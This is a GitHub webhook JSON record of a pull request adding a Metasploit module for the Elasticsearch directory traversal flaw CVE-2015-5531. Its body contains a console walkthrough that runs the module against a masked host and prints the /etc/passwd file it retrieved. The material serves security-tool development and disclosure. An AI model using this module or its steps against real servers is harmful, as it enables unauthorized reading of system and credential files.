{"action":"opened","number":6082,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6082","id":47525379,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6082","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6082.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6082.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6082","number":6082,"state":"open","locked":false,"title":"Add Directory Traversal for Elasticsearch (CVE-2015-5531)","user":{"login":"jaguasch","id":6979744,"avatar_url":"https://avatars.githubusercontent.com/u/6979744?v=3","gravatar_id":"","url":"https://api.github.com/users/jaguasch","html_url":"https://github.com/jaguasch","followers_url":"https://api.github.com/users/jaguasch/followers","following_url":"https://api.github.com/users/jaguasch/following{/other_user}","gists_url":"https://api.github.com/users/jaguasch/gists{/gist_id}","starred_url":"https://api.github.com/users/jaguasch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jaguasch/subscriptions","organizations_url":"https://api.github.com/users/jaguasch/orgs","repos_url":"https://api.github.com/users/jaguasch/repos","events_url":"https://api.github.com/users/jaguasch/events{/privacy}","received_events_url":"https://api.github.com/users/jaguasch/received_events","type":"User","site_admin":false},"body":"#### Module to read file via directory traversal in Elasticsearch\r\n\r\nApplication: Elasticsearch\r\nHomepage: https://www.elastic.co/products/elasticsearch\r\nVulnerability: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2015-5531\r\n\r\n#### Vulnerable packages\r\nElasticsearch versions from 1.0.0 to 1.6.0 are vulnerable\r\n\r\n#### Usage:\r\n```\r\nmsf > use auxiliary/scanner/http/elasticsearch_traversal\r\nmsf auxiliary(elasticsearch_traversal) > show options\r\n\r\nModule options (auxiliary/scanner/http/elasticsearch_traversal):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   DEPTH     7                yes       Traversal depth\r\n   FILEPATH  /etc/passwd      yes       The path to the file to read\r\n   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOSTS                     yes       The target address range or CIDR identifier\r\n   RPORT     9200             yes       The target port\r\n   THREADS   1                yes       The number of concurrent threads\r\n   VHOST                      no        HTTP server virtual host\r\n\r\nmsf auxiliary(elasticsearch_traversal) > info\r\n\r\n       Name: ElasticSearch Snapshot API Directory Traversal\r\n     Module: auxiliary/scanner/http/elasticsearch_traversal\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Normal\r\n\r\nProvided by:\r\n  Benjamin Smith\r\n  Pedro Andujar <pandujar@segfault.es>\r\n  Jose A. Guasch <jaguasch@gmail.com>\r\n\r\nBasic options:\r\n  Name      Current Setting  Required  Description\r\n  ----      ---------------  --------  -----------\r\n  DEPTH     7                yes       Traversal depth\r\n  FILEPATH  /etc/passwd      yes       The path to the file to read\r\n  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]\r\n  RHOSTS                     yes       The target address range or CIDR identifier\r\n  RPORT     9200             yes       The target port\r\n  THREADS   1                yes       The number of concurrent threads\r\n  VHOST                      no        HTTP server virtual host\r\n\r\nDescription:\r\n  'This module exploits a directory traversal vulnerability in\r\n  ElasticSearch, allowing an attacker to read arbitrary files with JVM\r\n  process privileges, through the Snapshot API. '\r\n\r\nReferences:\r\n  http://cvedetails.com/cve/2015-5531/\r\n  https://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html\r\n\r\nmsf auxiliary(elasticsearch_traversal) > set RHOSTS **********\r\nRHOSTS => **********\r\nmsf auxiliary(elasticsearch_traversal) > run\r\n\r\n[*] **********:9200 - Checking if it's a vulnerable ElasticSearch\r\n[+] **********:9200 - Check successful\r\n[*] **********:9200 - Retrieving file contents...\r\n[+] **********:9200 - File saved in: /home/msfdev/.msf4/loot/20151013131441_default_**********_elasticsearch.tr_809992.txt\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(elasticsearch_traversal) > cat /home/msfdev/.msf4/loot/20151013131441_default_**********_elasticsearch.tr_809992.txt\r\n[*] exec: cat /home/msfdev/.msf4/loot/20151013131441_default_**********_elasticsearch.tr_809992.txt\r\n\r\nroot:x:0:0:root:/root:/bin/bash\r\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\r\nbin:x:2:2:bin:/bin:/bin/sh\r\nsys:x:3:3:sys:/dev:/bin/sh\r\nsync:x:4:65534:sync:/bin:/bin/sync\r\ngames:x:5:60:games:/usr/games:/bin/sh\r\nman:x:6:12:man:/var/cache/man:/bin/sh\r\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\r\nmail:x:8:8:mail:/var/mail:/bin/sh\r\nnews:x:9:9:news:/var/spool/news:/bin/sh\r\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\r\nproxy:x:13:13:proxy:/bin:/bin/sh\r\nwww-data:x:33:33:www-data:/var/www:/bin/sh\r\nbackup:x:34:34:backup:/var/backups:/bin/sh\r\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\r\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\r\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\r\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\r\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\r\nsyslog:x:101:103::/home/syslog:/bin/false\r\nmessagebus:x:102:105::/var/run/dbus:/bin/false\r\nwhoopsie:x:103:106::/nonexistent:/bin/false\r\nlandscape:x:104:109::/var/lib/landscape:/bin/false\r\nsshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin\r\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\r\nelasticsearch:x:107:113::/home/elasticsearch:/bin/false\r\nmsf auxiliary(elasticsearch_traversal) >\r\n```\r\n\r\n","created_at":"2015-10-13T12:18:28Z","updated_at":"2015-10-13T12:18:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":null,"assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6082/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6082/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6082/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/7790f14af2d5a137792461b9dd6bf1e1c4a292ab","head":{"label":"jaguasch:elasticsearch_traversal","ref":"elasticsearch_traversal","sha":"7790f14af2d5a137792461b9dd6bf1e1c4a292ab","user":{"login":"jaguasch","id":6979744,"avatar_url":"https://avatars.githubusercontent.com/u/6979744?v=3","gravatar_id":"","url":"https://api.github.com/users/jaguasch","html_url":"https://github.com/jaguasch","followers_url":"https://api.github.com/users/jaguasch/followers","following_url":"https://api.github.com/users/jaguasch/following{/other_user}","gists_url":"https://api.github.com/users/jaguasch/gists{/gist_id}","starred_url":"https://api.github.com/users/jaguasch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jaguasch/subscriptions","organizations_url":"https://api.github.com/users/jaguasch/orgs","repos_url":"https://api.github.com/users/jaguasch/repos","events_url":"https://api.github.com/users/jaguasch/events{/privacy}","received_events_url":"https://api.github.com/users/jaguasch/received_events","type":"User","site_admin":false},"repo":{"id":44171147,"name":"metasploit-framework","full_name":"jaguasch/metasploit-framework","owner":{"login":"jaguasch","id":6979744,"avatar_url":"https://avatars.githubusercontent.com/u/6979744?v=3","gravatar_id":"","url":"https://api.github.com/users/jaguasch","html_url":"https://github.com/jaguasch","followers_url":"https://api.github.com/users/jaguasch/followers","following_url":"https://api.github.com/users/jaguasch/following{/other_user}","gists_url":"https://api.github.com/users/jaguasch/gists{/gist_id}","starred_url":"https://api.github.com/users/jaguasch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jaguasch/subscriptions","organizations_url":"https://api.github.com/users/jaguasch/orgs","repos_url":"https://api.github.com/users/jaguasch/repos","events_url":"https://api.github.com/users/jaguasch/events{/privacy}","received_events_url":"https://api.github.com/users/jaguasch/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jaguasch/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/jaguasch/metasploit-framework","forks_url":"https://api.github.com/repos/jaguasch/metasploit-framework/forks","keys_url":"https://api.github.com/repos/jaguasch/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jaguasch/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jaguasch/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/jaguasch/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/jaguasch/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/jaguasch/metasploit-framework/events","assignees_url":"https://api.github.com/repos/jaguasch/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/jaguasch/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/jaguasch/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/jaguasch/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jaguasch/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jaguasch/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/jaguasch/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jaguasch/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/jaguasch/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/jaguasch/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/jaguasch/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/jaguasch/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/jaguasch/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/jaguasch/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/jaguasch/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/jaguasch/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/jaguasch/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/jaguasch/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/jaguasch/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jaguasch/metasploit-framework/merges","archive_url":"https://api.github.com/repos/jaguasch/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jaguasch/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/jaguasch/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/jaguasch/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/jaguasch/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/jaguasch/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jaguasch/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/jaguasch/metasploit-framework/releases{/id}","created_at":"2015-10-13T11:18:16Z","updated_at":"2015-10-13T11:18:54Z","pushed_at":"2015-10-13T12:07:27Z","git_url":"git://github.com/jaguasch/metasploit-framework.git","ssh_url":"git@github.com:jaguasch/metasploit-framework.git","clone_url":"https://github.com/jaguasch/metasploit-framework.git","svn_url":"https://github.com/jaguasch/metasploit-framework","homepage":"http://www.metasploit.com/","size":1097723,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"a4f0666fea6bae94386142e8f93c7559eaea8d75","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-10-13T11:10:49Z","pushed_at":"2015-10-12T23:07:16Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1097723,"stargazers_count":4598,"watchers_count":4598,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3465,"mirror_url":null,"open_issues_count":206,"forks":3465,"open_issues":206,"watchers":4598,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6082"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6082"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6082"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6082/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6082/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6082/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/7790f14af2d5a137792461b9dd6bf1e1c4a292ab"}},"merged":false,"mergeable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"commits":1,"additions":116,"deletions":0,"changed_files":1}}